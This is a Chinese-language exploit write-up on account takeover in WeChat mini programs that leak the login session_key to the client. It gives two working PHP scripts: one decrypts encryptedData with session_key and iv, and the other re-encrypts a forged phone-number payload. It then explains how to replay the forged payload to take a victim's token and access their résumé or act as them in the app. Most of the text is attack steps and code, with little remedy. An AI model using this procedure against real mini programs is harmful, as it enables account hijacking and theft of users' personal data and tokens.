如果小程序存在手机号快捷登录，首先需要获取微信用户绑定的手机号。先调用wx.login接口，由用户主动触发来获取手机号。微信小程序存在EncryptedData、SessionKey、IV来进行加密的机制，EncryptedData是由明文的个人信息被SessionKey与IV加密获得的。由于用户数据的加解密通讯需要依赖会话密钥（session_key）来完成，若在调用过程中开发人员忽略安全问题误将本次登录的会话密钥（session_key）返回到客户端，攻击者可以利用session_key结合IV值来加解密EncryptedData，从而实现微信小程序的任意账户接管。
①小程序存在微信手机号快捷登录的功能：
②在wxLogin登录接口返回session_key
③在正常getMobile获取手机号接口找到iv值以及对应的encryptedData。获取到三要素：encryptedData，session_key，iv值，其实这里已经返回到对应用户的敏感信息了。包含邮箱、姓名、电话以及token值
④解密
<?php
echo "请输⼊SessionKey: ";
$sessionKey = fgets(STDIN);
echo "请输⼊本次加密IV: ";
$iv = fgets(STDIN);
echo "请输⼊待解密内容: ";
$encryptedData = fgets(STDIN);
function decryptData( $encryptedData, $iv, $sessionKey ) { $aesIV = base64_decode($iv); $aesCipher = base64_decode($encryptedData);
$aesKey = base64_decode($sessionKey); $result = openssl_decrypt($aesCipher, "AES-128-CBC", $aesKey, 1, $aesIV); $dataObj = json_decode($result);
return $result;
}
$result = decryptData($encryptedData, $iv, $sessionKey);
echo sprintf("最终的解密结果为: %s\n", $result);
运行脚本：
encryptedData+session_key+iv = phoneNumber
⑤加密
从上面可以看到，这里通过手机号来确定用户的标识。我们尝试接管手机号188xxx的权限。我们要加密的内容：
{"phoneNumber":"188xxx","purePhoneNumber":"188xxxx","countryCode":"86","watermark":{"timestamp":1638277220,"appid":"wx1cf959f941c33f64"}}
加密脚本：
<?php
echo "请输⼊SessionKey: ";
$sessionKey = fgets(STDIN);
echo "请输⼊本次解密IV: ";
$iv = fgets(STDIN);
echo "请输⼊待加密内容: ";
$decryptedData = fgets(STDIN);
function encryptData( $decryptedData, $iv, $sessionKey )
{
$aesIV = base64_decode($iv); $aesCipher = $decryptedData; $aesKey = base64_decode($sessionKey);
$result = openssl_encrypt($aesCipher, "AES-128-CBC", $aesKey, 0, $aesIV); $dataObj = json_decode($result);
return $result;
}
$result = encryptData($decryptedData, $iv, $sessionKey);
echo sprintf("最终的加密结果为: %s\n", $result);
将最终的加密结果放到对应接口里面去，成功劫持到用户信息。包含邮箱、姓名、电话以及token值
我们利用这个token就可以干很多事情了，例如预览简历：
in all:知道用户手机号就能获取用户的简历或者在小程序上进行任意操作
